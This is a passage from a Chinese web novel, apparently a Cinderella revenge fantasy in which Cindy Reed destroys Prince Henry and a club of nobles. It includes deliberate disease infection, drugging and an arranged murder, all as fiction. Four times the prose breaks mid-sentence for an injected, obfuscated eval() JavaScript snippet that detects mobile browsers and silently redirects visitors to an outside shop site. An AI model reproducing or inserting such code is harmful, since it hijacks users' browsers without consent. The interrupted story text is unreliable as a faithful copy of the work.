“他太碍事了，我们想要杀了辛蒂·里德那个贱女人，居然被他阻止了······不过他保证我们能得到那个女人，就像安娜公主那样······” “犯法？不不不，没人能抓到一个术士，就算是国王陛下也不能······可惜那个术士不知怎么的就死了······” “小xx，你肯定没见过那样的场面······” 在女妓的引导以及吐真剂的作用下，伊莱·冯断断续续地说出了他知道的关于亨利王子的一切，从中顺利带出了关于诅咒的来龙去脉。 这里面涉及到了很多秘辛，要是伊莱·冯回过味来必定会杀人灭口。 好在女妓十分聪明，一直在给伊莱·冯灌酒，灌得他烂醉如泥，第二天清醒后估计什么都不会记得。 按照伊莱·冯所说，术士索西尔是地狱之火俱乐部请来的，他成功地占卜出了布莱克庄园的失火以及被囚禁的女孩们逃走都是辛蒂的手笔。 知道这件事的地狱之火俱乐部自然不会善罢甘休，他们原本要求术士索西尔直接咒杀了辛蒂，不过亨利王子不同意。 亨利王子舍不得送这样一个美人去死，他要求他们咒杀维尔图斯，这样一方面也算是给她一个教训，另一方面没了丈夫的里德夫人会更容易得手。 地狱之火俱乐部的人被说服了，他们也垂涎她的美貌，慢慢折磨辛蒂·里德显然要比直接咒杀她要愉快得多。 答案很清楚了，地狱之火俱乐部和亨利王子都是凶手，辛蒂一点都不意外这个结果。 更清楚的一点是害死维尔图斯的果然就是她自己，辛蒂如今已经能接受这个事实，并尝试着克制住自己跟随维尔图斯而去的冲动，毕竟大仇尚未得报。 接下来，她要先送给地狱之火俱乐部一份大礼。 在辛蒂的授意下，塞拉菲娜给地狱之火俱乐部的每一位成员都发了一封邀请函，表示自己手里有一批十分不错的货色，邀请他们一个星期后一起品鉴。 这个日期是辛蒂精心挑选过的，错开了所有重要的舞会和宴会，还有每年的打猎活动，务必保证俱乐部的所有成员都会参加。 回信不出辛蒂的预料，地狱之火俱乐部除了亨利王子以外的9名成员全部都表示会参加。 亨利王子最近因为国王陛下看管得很严，几乎不参加任何舞会或者宴会。 不过没关系，对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768419|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于亨利王子，辛蒂本来也会特殊关照，慎重对待。他躲得过这一次，躲不过下一次。 布莱克庄园内，辛蒂递给塞拉菲娜一小瓶红色液体。这是她让人在库里特斯街最低级的妓院里，找到的多位健康状况糟糕的女妓的血液混合而成的。 “······在他们都喝醉后，当然为了确保这一点，我认为你应该在酒里加点别的什么东西。” “不管怎么样，他们都失去意识后，叫人在他们的身体上较为隐秘的部位划上一道小小的口子，再把这些液体抹上去。” “你必须亲自盯着，确保每位大人都能享受到这样的服务。” 塞拉菲娜盯着那瓶小小的液体，感到头皮发麻，她不敢用手触碰，只是让仆人接着。 她会照办辛蒂说的一切，前提是辛蒂真的会履行承诺送她出海。 塞拉菲娜的眼睛紧紧盯着辛蒂，最近或许是因为焦虑，她又瘦成了少女时期的样子，面色微微发白。 “为你做了这些，我在亚基亚德王国不会再有容身之处，你真的会送我走吗？我需要你发誓。” 辛蒂轻笑一声：“当然，船只已经准备好了，你可以去码头看，那是一只船帆上画着金色太阳的大船呢。” 塞拉菲娜稍微松了口气，却还是觉得不安，一副非要辛蒂发誓不可的样子。 辛蒂只能双手合十，郑重道：“天主在上，事成后，辛蒂·里德会把塞拉菲娜平安送出国，否则我活不过30岁。” 她本来就活不过30岁，这样的誓随便发。 只是让这些垃圾染上病是远远不够的，辛蒂还要让他们社会性死亡。 她将塞拉菲娜之前告诉她的地狱之火俱乐部的人的各种特点，包括有的人喜欢被抽打、有的人要求对方展现母爱、有的人时间很短等等较为引人注目的部分都整理成册，匿名交给了王国中最火爆的帝国报。 帝国报名字取得大气，实际上偏爱刊登一些八卦消息，听说原本的定位是发表严肃的政治新闻，发现卖不出去后才主要刊登贵族们的逸闻。 辛蒂不怕这家帝国报畏惧这些人的权势而不敢刊登这些信息，因为她知道它的背后不是别人，正是这个国家最有权势的人——卡修斯·亚基亚德。 这样劲爆的消息估计能让帝国报赚得盆满钵满，卡修斯恐怕高兴还来不及，绝不会阻止。 于是在伊莱·冯、朱利安·伯克利等一众地狱之火俱乐部的成员在一夜狂欢后，一觉醒来发现布莱克庄园已经变得空空荡荡，原本应该为他们准备早餐的布莱克男爵夫人不知所踪。 他们无暇理会塞拉菲娜的消失，惊觉最新一期的帝国报几乎把他们的底裤都扒掉了！ 上面指名道姓地描绘了他们所有人的私生活，恐怕只有趴在他们的床底下才会有如此详尽的描述。 天主在上，究竟是谁这么缺德！ 鉴于报纸上几乎雨露均沾，地狱之火俱乐部的成员人人都被写得臭不可闻，他们很快排除了内部的嫌疑。 那么可能的人只有一个，那就是布莱克男爵夫人，塞拉菲娜。 32.宿命感 可惜他们再也找不到塞拉菲娜了，因为她早已登上了离开亚基亚德王国的船只，带着从他们身上赚到的金币把一切都抛在了背后。 塞拉菲娜以为她会在另一个陌生的国度重新开始，却不知道船长早已得到辛蒂的吩咐，让这个自私又恶毒的女人死在某片海域。 船长的报酬就是塞拉菲娜身上的金币和珠宝，那可不是什么小数目。 地狱之火俱乐部的人找不到塞拉菲娜，只能先解决自己身上的麻烦，他们知道帝国报的主人是亚基亚德国王，试图请求国王停止发行帝国报。 帝国报原本就不便宜，因为刊登了劲爆的消息，一份更是要价十金币，即使如此，印刷厂日夜不停地工作才堪堪满足贵族们的购买需求。 卡修斯尝到了甜头，自然对这样的请求充耳不闻。甚至因为来钱太快，还琢磨着要不要时不时把自己知道的猛料爆出去一些。 总之，卡修斯是绝不会自断财路的，于是这些大人们得到的答复是国王陛下外出打猎，归期不定。 地狱之火俱乐部的人只能自认倒霉，暗暗吃下了这个哑巴亏。 整整好几个月，他们都不敢出门，就连有些平民都知道了帝国报上的八卦，一出门他们总觉得被异样的眼光注视着。 伊莱·冯确信自己在有一次出门的时候听到了一句“就是那位大人，听说还不如一根香肠呢。” 伊莱·冯顿时恼羞成怒，命令侍卫抓出这个不知好歹的平民，不过现场的人实在是太多了，侍卫并没能找出这个说话的人。 好不容易风头过去了，他们中很多人都发现自己身上起了玫红色的斑疹，连带着排泄也出现问题。 经验丰富的老手意识到了这可能是脏病，不过为时已晚，他们找不到能够治疗相关疾病的医生，只能默默等死。 辛蒂后续并未过多关注这些贵族们的后续，在她的计划下，他们必定会走向最为恶臭的死亡，这一点她十分笃定。 辛蒂在家等待了几天，还参加了几个舞会，她原本以为亨利王子会主动靠近，就像之前的舞会那样。 实际上并没有，好几次辛蒂确信自己看见了亨利王子，他却半点没有搭讪意思，白费了辛蒂特意制造的机会。 这很怪，辛蒂没时间跟他继续耗下去，她要主动出击。 亨利王子的妻子玛娅公主收到了来自辛蒂·里德拜帖，上面说希望能来陪伴王子妃喝喝下午茶什么的。 玛娅公主当然觉得莫名其妙，不过她不敢擅自决定，她知道这位夫人对于亨利王子来说非常特别。 亨利王子是一个极度追求美色的人，同时也是一个变心极快的人，而第二点玛娅公主已经充分领会到了。 亨利王子这样的性格特点按理说不会对一个女人有着太长时间的热情，不过考虑到里德夫人实在美丽，而且他一直没有的手，他“长情”一些也不难理解。 可是在玛娅公主看来，亨利王子对于这位辛蒂·里德已经近乎于偏执了，他请画师画了数百张这位夫人的像，贴满了他卧室的墙壁。 每次走进那间卧室，被几百只眼睛盯着，玛娅公主都会觉得心惊肉跳。 不仅如此，亨利王子从那位洛佩斯小姐那里获得了灵感，派人四处寻找跟辛蒂·里德长相身形相似的女人。 不过这些女人往往没多久就会被亨利王子厌弃，不知所踪。 包括那位罗莎·洛佩斯，凭借着王子给的大笔金币作为嫁妆嫁给了某个贵族，许久没有见过了。 她前不久似乎钱花完了，企图继续服侍亨利王子，结果被拒之门外。玛娅公主并不意外这个结果，男人是靠不住的，不管他之前有多么的柔情蜜意。 亨利王子对于辛蒂·里德的特别让玛娅公主不敢擅自处置任何关于她的事，只能拿去请示亨利王子。 看着那张白底烫金的拜帖，亨利王子的表情复杂极了。 玛娅公主从里面识别出了爱恋、怨恨、渴望、疯狂等等情绪，在那一瞬间她觉得亨利王子像个疯子。 亨利王子很快控制住了表情，变得和以往一样温和，他克制住语气中的波澜：“这样的小事，你自己决定就好。” “不，我觉得你应该同意，对方是一位有身份的夫人······” “算了，你看着办吧！不要什么事都来问我！” 亨利王子最终还是没有克制住自己，罕见的露出了一丝暴脾气。 他马上反应过来自己不应该这么跟妻子说话，立马解释说自己是因为公事太多，希望得到原谅。 玛娅公主当然表示没关系，并体贴地给予了劝慰。 最后离开时，恰到好处地表示她会同意里德夫人的拜访请求，她没有错过亨利王子脸上一闪而过的喜悦之色。 玛娅公主早就对亨利王子死心，已经很久没有因为他过于关注别的女人而产生什么情绪波澜。 不过这一刻，她还是对辛蒂·里德产生了好奇，让亨利王子如此神魂颠倒的，究竟是一个怎样的女人？ 在所有人的期待中，很快到了约定的日期，里德府的马车如约而至。 玛娅公主无疑是一位合格的贵妇，可以预见的未来也可以成为一位合格的王后。 她的仪态无可挑剔，面对这位在她看来颇为神秘的里德夫人也并未流露出任何的好奇和探究，就像面对其他人一样自然。 实际上她内心感到极度崩溃，在接见辛蒂·里德之前，亨利王子忽然要求一起接见这位夫人。 这并不算什么大事，甚至属于礼仪的一部分。 可是礼仪里并不包括男主人只顾着跟客人聊天，把女主人抛到一边，亨利王子回应里德夫人说的每一句话，她插不进嘴，几乎像个透明人。 好在里德夫人还顾及着她的面子，时不时把玛娅公主带回话题之中，让她不至于那么窘迫。 不知道第几次玛娅公主的话被亨利王子打断后，她终于忍无可忍，主动提出自己需要短暂离开去往更衣室。 她发誓她看见亨利王子的眼睛瞬间明亮了起来，甚至给了她一个赞许的眼神······ 天主在上，玛娅公主已经无话可说了，她现在只想去看看自己的小威廉，让儿子治愈自己的内心。 女主人一离开，亨利王子就迫不及待地让仆人们离开这个房间，他跪在辛蒂的面前，亲吻着辛蒂的手指，眼睛里闪烁着疯狂的光芒。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776306|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛蒂，我的爱，我的梦魇，你知道我的对你的感情，你为什么要和卡修斯在一起？这些日子我的心如同在油上煎烤······” 这一瞬间辛蒂几乎都以为她和亨利王子是什么被世俗阻挡的有情人，只能在这样的间隙互诉衷肠。 又好像在出演一出狗血非常的舞台剧，只差在脸上扑上厚厚的铅粉。 这太荒谬了，辛蒂下意识的就想要甩开亨利王子的手，请他自重。就在这时候，辛蒂忽然灵光一闪，看懂了这个男人。 亨利王子喜欢辛蒂，这是毋庸置疑的，以至于在新婚不久还没有厌倦他的妻子的时候，他还是会被辛蒂吸引，冒着玛娅公主生气的风险邀请她跳舞。 后来他对于辛蒂念念不忘，可惜辛蒂完全不给他机会，他只能找到一些替代品。 终于辛蒂的丈夫死了，他认为他即将可以拥有这个女人，不管以怎样的方式。 亨利王子千算万算，没想到辛蒂成为了他父亲明面上的情妇，他没有胆子跟他的父亲争夺女人，甚至不敢在公共场合流露出对于他父亲的情妇的肖想。 这样的压抑让他对于辛蒂的渴望日渐加深，充斥着对自己无能为力的痛苦，或许还有对于权力的渴求。 在辛蒂提出主动上门拜访后，亨利王子经过一系列复杂的，旁人难以理解的心理活动后，认为这是一个辛蒂也爱他的信号。 他接收到了这个信号，甚至克服住了对于他父亲的恐惧，主动表露出自己的爱意。 要不是知道亨利王子是一个怎样的垃圾，辛蒂都快被他感动了。 现在亨利王子的褐色眼睛里充满了深情，想必他也在深深的自我感动。 辛蒂推断出亨利王子可能的心路历程，仍旧觉得不可思议，亨利王子的心里，几乎要神化了辛蒂这个人。 她知道自己的确拥有这个世界的顶级美貌，可是再怎么样她又不是海妖，不具有蛊惑人心的能力，亨利王子的反应太过了。 辛蒂忍住了抽出手的冲动，试探性地询问道：“王子殿下，我们没有见过几次面，我不认为我配得到您的爱。” 亨利王子的神色中流露出了迷茫和痛苦：“自从第一次见到你，我就认为你就应该是我的妻子······在梦里我们相爱极了，那才应该是正确的······” 辛蒂却觉得好笑，她要是没记错的话，他们的第一次见面亨利王子完全忽略了她。 固然有她当时伪装过容貌的缘故，可要是真有亨利王子说的那么命中注定，不应该会忽略表象，看出本质吗？ 不过是见色起意，经过再多的言语修饰也改变不了这个实质。 虽然不屑于亨利王子的说法，亨利王子透露出的梦境之类的信息中，辛蒂感受到了故事本身的惯性。 辛杜瑞拉就是应该和王子在一切，就算辛杜瑞拉改变了想法，命运还是会努力地自行修正，回到正轨。 这样就能说得通了，或许亨利王子对于辛蒂的兴趣只是寻常，在宿命感和梦境的加持下，这份兴趣变成了狂热，到最后他本人都会无法分清这到底是爱还是不甘心。 辛蒂弄清楚了亨利王子对于她的感情，那应该如何利用这份感情呢？ 33.引导 “殿下，我······我不知道应该怎么说，国王陛下······” 辛蒂任由自己的手沾满了亨利王子的口水，垂下眼睑做出一副悲伤的样子。 她相信以亨利王子的脑补能力，这些含糊不清的话语能让他解读出丰富的含义。 亨利王子果然十分痛苦的样子：“哦我的辛蒂，我的心肝，我知道你的心，我又有什么办法呢，那是我的父亲······他掌控着我的生活，我的金钱，甚至我找个女人都要经过他的同意！” 短短几句话，亨利王子的不甘心已经显现出来了，辛蒂相信，只需要一把火，亨利王子的野心就会熊熊燃烧，一发不可收拾。 辛蒂半闭上眼睛，任由湛蓝眸子里流露出恶意，而在亨利王子看来，辛蒂一脸悲伤的表情让他感到心碎。 “我愿意等你，直到······直到你成为我的国王。” 说完，她甩开亨利王子，快步走出花厅。他们呆在一起的时间有些太长了，恐怕引人非议。 她知道被留在身后的亨利王子心中会有怎样的惊涛骇浪，成为国王，这是他潜意识中无数次的想法，却第一次被这样赤裸裸地说出来。 那句话未必是要他做什么，他什么都不需要做，再等个二三十年就能顺理成章地成为国王。 可是他能等那么久吗？ 离开花厅的辛蒂并没有直接离开，而是在女仆的指引下找到了玛娅公主，她此刻正在花园中带着小小的威廉读故事书，阳光打在她的发梢上，投射出柔美的母性光辉。 辛蒂率先出声显示出自己的存在：“王国的继承人如此茁壮，真是令人感到安心，不是么？” 尽管辛蒂尽量放轻了声音，专注于童话世界的母子二人还是被辛蒂的声音吓了一条。 玛娅公主很惊讶，她以为辛蒂会和亨利王子在花厅待上足够长的时间，甚至做点什么。 她知道辛蒂是国王的情妇，不过在她看来，国王陛下有够溺爱儿子的，就算亨利王子真的染指了他的女人，他也只会一笑置之。 玛娅公主转念一想，又觉得这样的情况不会发生。 虽然行动上纵容，国王表面上对继承人十分严苛，以致于亨利一向害怕国王，以他的胆子，估计干不出这样的事。 而且这位里德夫人看上去很有分寸感，她称呼威廉是王国的继承人，这一点就赢得了她的好感。 玛娅公主让女仆带走小威廉，又稍稍布置了草坪，请辛蒂坐下来喝下午茶，说起来这还是辛蒂拜帖上的来意，也算是殊途同归。 二人默契地不提刚刚发生的事，闲扯了一会，玛娅公主知道辛蒂特意撇开亨利王子来找她，想必是有什么话要说。 聪明的夫人，辛蒂微微一笑，她轻声进入主题：“想必等威廉殿下长大成人，王子殿下已经有了不少私生子女。” 玛娅公主并没有如辛蒂料想中的被冒犯到，她淡声道：“然后呢？总归动摇不了威廉的地位。” 私生子不具备继承权，最多分走一点遗产，所以玛娅公主并不十分在意。 “要是亨利王子想要为自己最爱的孩子更高的地位呢？” 辛蒂的话如同一根毒刺，深深扎进了玛娅公主心里。私生子确实无足轻重，被爱重的私生子就不一样了。 一般而言这样的情况不会出现，但凡一个国王还有理智，就做不出这样荒唐的事。 可是亨利王子显然称不上有理智，要是对象是面前的里德夫人，玛娅公主觉得亨利王子完全有可能致力于让辛蒂·里德成为他的合法妻子，让他们的孩子成为下一任国王。 玛娅公主有些被激怒了，她以为这位里德夫人没有恶意，没想到她竟然是来耀武扬威的：“你的意思是让我准备好给你腾位置是吗？如此狂妄，就不怕国王陛下知道你的嘴脸吗？” 愤怒说明她被戳中了软肋，对于接下来的提议辛蒂有了更大的把握。辛蒂不慌不忙地解释道：“殿下，我当然不是这个意思，实际上，我想为您提供一条更稳固的，能让威廉殿下顺利继承王国的道路。” 玛娅公主的表情凝固了，闻弦歌而知雅意，她意会到了辛蒂的意思：“你是说······” “没错，”辛蒂的声音很轻很慢，带着难以言喻的诱惑之意： “威廉殿下并非只能从亨利王子手上接过王位，我们的国王陛下如今正是年富力强的时候，并不需要一个跟他争夺权力的继承人。” “而再过二十年，威廉殿下的年纪正好适合成为一位新国王。” 玛娅公主毫无疑问的心动了。 辛蒂的话正好击中了她心中的隐忧，她或许对于权力没有那么渴望，可是她无疑是一个深爱孩子的母亲，没什么比作为王国的唯一继承人更能保护威廉的了。 不过玛娅公主并未完全沉浸在辛蒂为她钩织的幻梦之中，她谨慎问道：“这样你能得到什么好处呢？以亨利对你的迷恋，他顺利登上王位对你来说才是最有益的。” 辛蒂试图微笑，即将出口的话却拖拽着她的唇角，她最终只能面无表情地回答这个问题：“他害死了我的丈夫，我需要他为此付出代价。” 里德夫妇的恩爱玛娅公主曾经有所耳闻，她知道里德伯爵是个彻头彻尾的好人，从来都没有过任何的花边新闻，这在贵族圈子里并不多见。 辛蒂蓝眼睛里恍若实质的悲伤取信了玛娅公主，她虽然不曾拥有过这样的爱情，这一刻她觉得自己在那片悲伤的浸染之下感同身受。 辛蒂给了玛娅公主一瓶药剂，不像吐真剂，这瓶药剂严格来说并不涉及神秘学。 因为王室对于魔法免疫，辛蒂根据自己的草药学知识，在迷乱药剂的配方中去掉了具备魔力的仙客来，得到一瓶较为基础的迷乱药剂。 不同于原本的让人直接发疯的效果，这个版本的迷乱药剂药性更为和缓，只会慢慢增强人内心中最为隐秘的欲望，使得求而不得的痛苦更加强烈。 非常适合现在的亨利王子。 辛蒂要求玛娅公主在亨利王子的日常用水中加入她给的药剂，其他的什么都不用做。 玛娅公主有些忧虑：“这不会被查出来吧？要是被国王陛下发现，我们都不会有好下场的。” 辛蒂一笑：“尽管把心放回肚子里，这并不是什么毒药，它并不比亨利王子会使用的催情剂对身体的害处更大。它唯一的作用是让亨利王子直面内心的欲望。” 种子已经埋下，辛蒂要做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784656|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有浇水和施肥。 消息网在地狱之火俱乐部的各个成员身边都有内应，通过他们，辛蒂同样在这些大人们身上使用了和亨利王子的同款药剂。 这个时候他们还没有发现身上的病毒，内心同样充斥着对于权势和财富的渴望。 药剂和原本的野心互相作用，像面团一样发酵得越来越大，他们开始鼓动亨利王子主动去取得他应有的地位。 “国王陛下已经活得够久了，难道您愿意半只脚都进入坟墓的时候才能继承王位吗？” “您已经成年了，国王陛下却还是当您是个吃奶的小男孩！” “想想里德夫人，要是您坐上了王位，要什么女人没有？” 在这些话的围堵下，亨利王子采取行动只是早晚的事。 这还不够，辛蒂决定再加一把火。 在每周的固定相处的日子里，辛蒂看着卡修斯·亚基亚德，忽然眼睛泛红，流下了眼泪。 卡修斯原本准备跟里德夫人谈论一下他这两天遇到的趣事，辛蒂的眼泪让他不自觉皱起了眉头。 “里德夫人，是否有某些人的言论中伤了你，请告诉我，我会让人去处理。” 一个寡妇在丈夫死后成为了别人的情人，这样的事当然不太光彩，卡修斯可以想象到里德夫人遭受到过多少流言蜚语。 这并不是什么大事，要是里德夫人希望，他可以让所有人闭嘴。 在卡修斯自己没有意识到的时候，他对辛蒂·里德，这个本该只是他的交易对象的女人，产生了呵护之情。 对于这样一位有着绝顶的美貌，还有着不俗谈吐的女性，谁又能做到不产生好感呢？ 辛蒂的蓝色眼睛里泪光莹莹，她欲言又止，几次想倾吐出内心的不快，似乎又想到了什么，最终只是说了一句：“不，没什么，卡修斯。” 这是卡修斯·亚基亚德要求的称呼，以免显得国王和情妇之间过于生疏。 这里面肯定有什么，卡修斯盯着辛蒂，意识到她下定了决心不再开口后才放弃逼问的想法。 这当然不意味着他完全放弃了，他认为自己有义务保证里德夫人不受到一点委屈，于是在辛蒂离开后，他叫来了负责搜集情报的官员。 “最近里德夫人身边有发生什么特殊的事件吗？” 国王陛下严肃得仿佛过问邻国动向的表情让官员流下了冷汗，他严谨措辞后回答道： “最近里德夫人似乎和亨利王子殿下走得有些近了，有人看到亨利王子殿下在舞会上拉扯里德夫人。” 这是前一天晚上发生的事，辛蒂故意挑选了一场亨利王子会出席的舞会，并接受了好几个绅士的邀舞，表现得颇为暧昧，满意地看到亨利王子的眼睛嫉妒得发红。 这是他们交谈数天后的第一次见面，在药剂的作用下，亨利王子的自制力下降了不少，最终因为难以忍受辛蒂和别的男人在他面前过分亲密，十分粗暴地推开了辛蒂的舞伴。 辛蒂对于亨利王子十分不满，并且拒绝他的碰触。亨利王子被辛蒂的若即若离刺激到了，拉着辛蒂就想离开舞会。 好在舞会的主人还记得这是国王的情妇，连忙让侍卫阻止了亨利王子的动作，这才没闹得更难看。 34.辛蒂的童话集 官员的话让亚基亚德国王的脸色变得肉眼可见的阴沉下来，涉及到亨利王子，怪不得里德夫人难以启齿。 虽然他还没有意识到自己对辛蒂产生了占有欲，仅是交易内容就要求他应该为此事对辛蒂做出交代。 “替我宣召亨利王子。” 亨利王子来得很快，他不知道他的父亲为何事找他，率先露出一个讨好的笑容。 这个畏畏缩缩的笑让卡修斯的心情更加糟糕了，他为这个儿子提供了最优质的教育以及最好的生活，可是他却长成了这个样子！ 好色又残暴，懦弱且无能，这就是他唯一的继承人！ 他甚至为了他免受不必要的政治倾轧，没有迎娶新的王后，没有生下更多的孩子，卡修斯不止一次地想过，自己的决定是正确的吗？ 卡修斯闭了闭眼，再睁开时眼里的痛恨已经变成了清明，他沉声道：“亨利，离里德夫人远些，那不是你应该碰的女人。” 亨利王子闻言，拳头攥得紧紧的，又是这样，毫无余地的命令，没有任何的解释和安抚。 所有人都说他的父亲对他百依百顺，可是在他的眼里，他的父亲是一个毫无感情的上位者。 亨利王子内心的愤怒和不甘达到了极致，可是他还是控制着拳头慢慢松开，最终嗓音一如既往的温顺：“好的父亲。” 他知道反抗和拒绝不会让结果发生任何的改变，甚至父亲会再次让他禁足，进一步限制他的自由。 就像很久以前卡修斯告诉他，让他放弃娶安娜公主为妻的时候，他的反抗得到的结果。 这次不一样了，亨利王子在心中发誓，这是他最后一次顺从。 以后，不管是谁，再也别想命令他做任何事。 亨利王子离开皇宫后，第一时间跟地狱之火俱乐部的人传信，让他们为自己找来只需要一滴就能让人致命的毒药。 比地狱之火俱乐部的人更早，辛蒂得知了这个消息。 她露出了心满意足的笑容，终于，她等到了这一刻。 虽然她不认为亨利王子具备成功毒杀亚基亚德国王的能力，不过考虑到亚基亚德国王对于亨利王子的信任，或许有阴沟翻船的风险。 于是辛蒂将此事暗中传信给了玛娅公主，她知道应该怎么做。 事发比辛蒂料想中的要更早。 某天辛蒂在书房看书，没了需要刺激的对象，她也懒得出门社交。 忽然管家告诉她，埃莉诺·杜卡斯来访。 自从乔瓦娜去往阿卡索王国以后，埃莉诺失去了女伴的工作。 不过在乔瓦娜身边的时候，她认识了不少优秀的绅士，并从中选择了一位她认为可以结婚的对象，如今已经是一位侯爵夫人了。 埃莉诺的丈夫担任着卡修斯国王身边的护卫工作，有时候她的消息比辛蒂的消息网来得更快。 “亲爱的辛蒂，你不用再烦恼亨利王子的纠缠了，他竟然愚蠢到给国王陛下投毒，如今已经被关押进了监狱里！” 这样大的新闻并不常见，即使是埃莉诺这样知道不少秘辛的夫人也不免为此感到激动。 辛蒂心中了然，表面上还是做出惊讶的样子：“怎么回事？国王陛下还好吗？” 作为国王的情妇，辛蒂理应表达出自己的关心。 “国王陛下没事，亨利王子的计划还么开始就被告发了！他原本买通的厨师顶不住压力向国王陛下告密了。” “还有玛娅公主竟然也发觉了这件事，向国王陛下递交了告密信。” 埃莉诺摇摇头，觉得亨利王子这件事做得漏洞百出，不知道他哪里来的自信。 辛蒂也觉得这件事透着滑稽，原本一件大事被亨利王子做得如同过家家一般，她都觉得自己事先的准备有些多余。 “说句不尊敬的话，还好亨利王子来了这么一出，要是他平平稳稳地继位了，以后遭殃的就是我们这些人了。” 辛蒂赞同点头，亨利王子早就无药可救了，趁此机会卡修斯国王换一个继承人也算是好事。 事情很快就尘埃落定，亨利王子谋反，企图毒杀国王，被剥夺继承权关进监狱。 参与其中的地狱之火俱乐部的人也都被剥夺了爵位和领地。 他们失去了权势和金钱，未来只能过他们以前看不起的平民的生活，不，比平民还要不如，因为疾病会折磨他们到生命的最后一刻。 王子妃玛娅公主证明了自己的忠心，得以从中保全了她和她的儿子，威廉王子按照设想中的成为了亚基亚德王国新的继承人。 辛蒂认为威廉王子看起来还算聪明，应该不会重蹈亨利王子的覆辙，又有玛娅公主和卡修斯国王的悉心教导，未来必定能成为比亨利王子合格得多的继承人。 自此，辛蒂已经完成了大部分的复仇，除了亨利王子。 经过一番运作，辛蒂站在了亨利王子的牢房前。 毕竟是国王的儿子，即使入狱，亨利王子也没有受到太过分的迫害，他的居住环境甚至称得上干净整洁。 亨利王子本人并不这么觉得，听说他常常在监狱里嚷嚷着一些类似于“我可是未来的亚基亚德国王，你们怎么敢这么对我”之类的狂言。 亨利王子现在已经不复之前浑身金光闪闪的贵公子模样了，简直像个落拓的流浪汉。 辛蒂敢保证，让那些对亨利王子趋之若鹜的小姐们看到亨利王子如今的模样，保管她们说不出什么爱他之类的鬼话。 辛蒂的出现让亨利王子的眼睛一亮，他露出自认为迷人的笑容：“里德夫人，求你帮我在我父亲面前说说好话吧，我会感激你的。” “你想要什么？金银珠宝还是权力，等我出去我都可以给你！” 在生存面前，亨利王子的恋爱脑终于被他摁了下去，认清楚了面前的女人是他父亲的情妇，同时也是现在的他需要奉承的对象。 辛蒂却没有了亨利王子记忆中的温柔，她此时不再伪装自己，脸上的表情堪称刻薄：“您知道维尔图斯怎么死的吗？” 亨利王子讨好的笑容消失了：“你说什么？” “让我告诉您吧，他在一天中一点点变得虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789553|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱，就像被吸走了所有的精气神，跟病死的人一样。” 辛蒂无所谓亨利王子的回应，自顾自说道：“您知道您会怎么死吗？” “您会在这间牢房里，无人在意地死去。” “我原本想给您造成一些□□上的疼痛，不过我想对于您这样自傲的人来说，还有什么比被忽视来得更痛苦呢？” “再见，祝您快乐，就像我现在一样快乐。” 这是维尔图斯的葬礼后，辛蒂第一次来到他的坟墓之前。 她抚摸着墓碑上冰冷的文字，内心并没有多少成功复仇的轻松，更多的是茫然。 “亲爱的维尔图斯，我已经让那些谋害你的性命的人受到了惩罚。” “珍妮很担心我，害怕我在完成这些事后会轻率地结束自己的生命。你放心，我不会的。” “虽然我也活不了几年了，我还是会珍视自己的生命，尽量让生活变得开心和充实，我知道这是你希望看到的。” 就像在维尔图斯的坟墓之前承诺的那样，辛蒂拒绝了卡修斯国王的挽留，回到了康特赛德庄园生活。 在这里，她并未沉湎于过去，重复着每天看书、处理生意、练习魔法这样的日常，生活很简单，也很充实。 辛蒂30岁那年，魔鬼如约而至，没有多余的交流，死亡无声降临。 失去意识前辛蒂最后的念头是，或许这是一场梦，她醒来后就会发现自己还在教室里。 不知道过了多久，辛蒂觉得自己似乎沉睡了很久，醒来后周围是白茫茫的一片。 辛蒂的面前放着一本书，让辛蒂无端联想到她小时候常看的童话书，很经典的棕色封皮，表面的皮质微微破损，露出了内里的白色填充物。 辛蒂轻轻拿起，封面上的汉字端端正正——《辛蒂的童话集》。 她一愣，小心翼翼地翻开，这本书看起来稍微一碰就会散页，手感却出乎意料的踏实。 里面的第一个故事就是《辛杜瑞拉》，不是辛蒂从小就熟知的版本，书里描写的是辛蒂的亲身经历。 